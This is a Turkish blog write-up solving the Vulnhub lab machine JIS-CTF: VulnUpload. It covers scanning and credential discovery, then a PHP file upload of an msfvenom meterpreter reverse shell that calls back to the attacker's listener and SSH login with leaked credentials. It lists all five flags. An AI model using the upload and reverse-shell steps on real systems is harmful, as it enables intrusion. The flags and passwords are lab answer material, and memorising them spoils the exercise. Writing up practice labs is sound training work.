JIS-CTF: VulnUploap Writeup

Selam arkadaşlar, bugün Vulnhub’tan indirdiğim JIS-CTF: VulnUpload zafiyetli sanal makinasının çözümünü paylaşacağım.

Vulnhub’tan istediğiniz zafiyetli sanal makinayi indirip, üzerinde pratik yapabilirsiniz.
Zafiyetli makinayi indirmek için aşağıdaki bağlantıyı takip edebilirsiniz:

https://www.vulnhub.com/entry/jis-ctf-vulnupload,228/

Sayfadaki açıklamada 5 adet flag olduğu söylenmiş. Amacımız bu 5 adet flagı bulup, görevi tamamlamak.
Ova’yı indirip VirtualBox’a import ettikten sonra artık işe koyulalım. Öncelikle işe zafiyetli makinamızın IP adresini bulmakla başlayalım.

ifconfig

Bunun için daha önceki çözümlerde kullandığımız netdiscover aracı ile kolaylıkla tespit edebiliriz. Zafiyetli sanal makinamızın IP adresi: 10.0.2.5

netdiscover

Nmap ile 10.0.2.5 makinası üzerindeki çalışan servislerin durumunu tespit edelim.
“nmap -A -O -n -v -Pn 10.0.2.5” komutu ile taramayı başlatalım.

Nmap scan report for 10.0.2.5
Host is up (0.00076s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 af:b9:68:38:77:7c:40:f6:bf:98:09:ff:d9:5f:73:ec (RSA)
| 256 b9:df:60:1e:6d:6f:d7:f6:24:fd:ae:f8:e3:cf:16:ac (ECDSA)
|_ 256 78:5a:95:bb:d5:bf:ad:cf:b2:f5:0f:c0:0c:af:f7:76 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 8 disallowed entries
| / /backup /admin /admin_area /r00t /uploads
|_/uploaded_files /flag
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-title: Sign-Up/Login Form
|_Requested resource was login.php
MAC Address: 08:00:27:68:18:58 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 – 4.9
Uptime guess: 0.006 days (since Mon Aug 20 12:55:14 2018)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Tarama sonucunda 80. portta Apache, 22’de ise SSH servisin çalıştığını öğrendik. Nmap bizim için robots.txt dosyasında bazı dikkat çekici dizinleri de listelemiş.

robotstxt

Tarayıcıdan sayfaya ulaştığımızda bizi bir login sayfası karşılamakta.

login form

Robots.txt dosyasında listelenen dizinlere bir göz atalım.

/flag dizininde 1. flag’ımızı buluyoruz.
The 1st flag is : {8734509128730458630012095}

Diğer dizinlere baktığımızda /admin_area sayfasında resimdeki ekran ile karşılaşıyoruz.

admin area

Sayfanın kaynak kodunu inceleyelim.

source

username, password ve 2. flag’ımıza erişiyoruz.

The 2nd flag is : {7412574125871236547895214}
username : admin
password : 3v1l_H@ck3r

Edindiğimiz bilgileri ile sayfaya giriş yapalım.

file upload

Sayfaya login olduktan sonra bizi dosya yükleme sayfası karşılıyor. Yükleme kısıtı olup olmadığını kontrol etmek için php dosyası yükleme çalışacağım.

info php

info.php dosyası başarı ile yükleniyor.

info php

Robots.txt dosyasında listenen /uploaded_files dizininin altına yüklendiğini düşünerek
http://10.0.2.5/uploaded_files/info.php adresine bir bakalım.

info php

Yüklenen dosyaların nerede tutulduğunu ve php dosyası yükleyebildiğimizi öğrendik. ee tamam daha ne olsun 🙂
Shell atıp oturum alalım. Shell’i msfvenom ile hazırlayacağız. Metasploit ile dinleme moduna geçip meterpreter oturumu almaya çalışacağız.

“msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.4 LPORT=4444 -f raw > shell.php”
komutu ile reverse bağlantı alacağımız IP adresimizi ve portumuzu belirtiliyoruz.
Shell’i oluşturduk, metasploit ile dinleme moduna geçelim.

Dinleme modu için exploit/multi/handler modülünü kullanacağız.
“use exploit/multi/handler”
“set payload php/meterpreter/reverse_tcp” komutu ile de kullanacağımız payload’ı set ettik. Varsayılan olarak 4444 portunu dinlemeye aldığından, başka bir ayar yapmamız gerekmiyor.

meterpreter

“exploit” komutu ile dinleme moduna geçiyoruz. Sayfada shell’i çağırdığımız takdirde oturum alacağız. Tarayıcıdan http://10.0.2.5/uploaded_files/shell.php dosyasına istek attığımızda meterpreter oturumu düşecek.

meterpreter session

Dizinler arasında biraz gezelim. flag.txt dosyası var fakat okuyamıyoruz. hint.txt dosyasına bir göz atalım.

hint

3. Flag’ımıza erişiyoruz.
The 3rd flag is : {7645110034526579012345670}

flag.txt’yi okumamız için technawi kullanıcısının parolasına ihtiyacımız olduğunu söyleyen bir ipucu var.

find user

“find / -user technawi 2>/dev/null” komutu ile technawi kullanıcısının dosyalarını aratalım.
/etc/mysql/conf.d/credentials.txt dosyası dikkatimizi çekiyor. Dosyayı okuyalım.

credentials

4. Flag’ımıza eriştik.

The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor

technawi kullanıcısının parola bilgisini öğrenmiş olduk. SSH üzerinden technawi kullanıcısı ile giriş yapalım.

ssh

/var/www/html/flag.txt dosyasını okumamız gerekiyordu.
Vee 5. ve son flag’ımız karşımızda.
The 5th flag is : {5473215946785213456975249}

Bir başka yazıda görüşmek üzere…

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir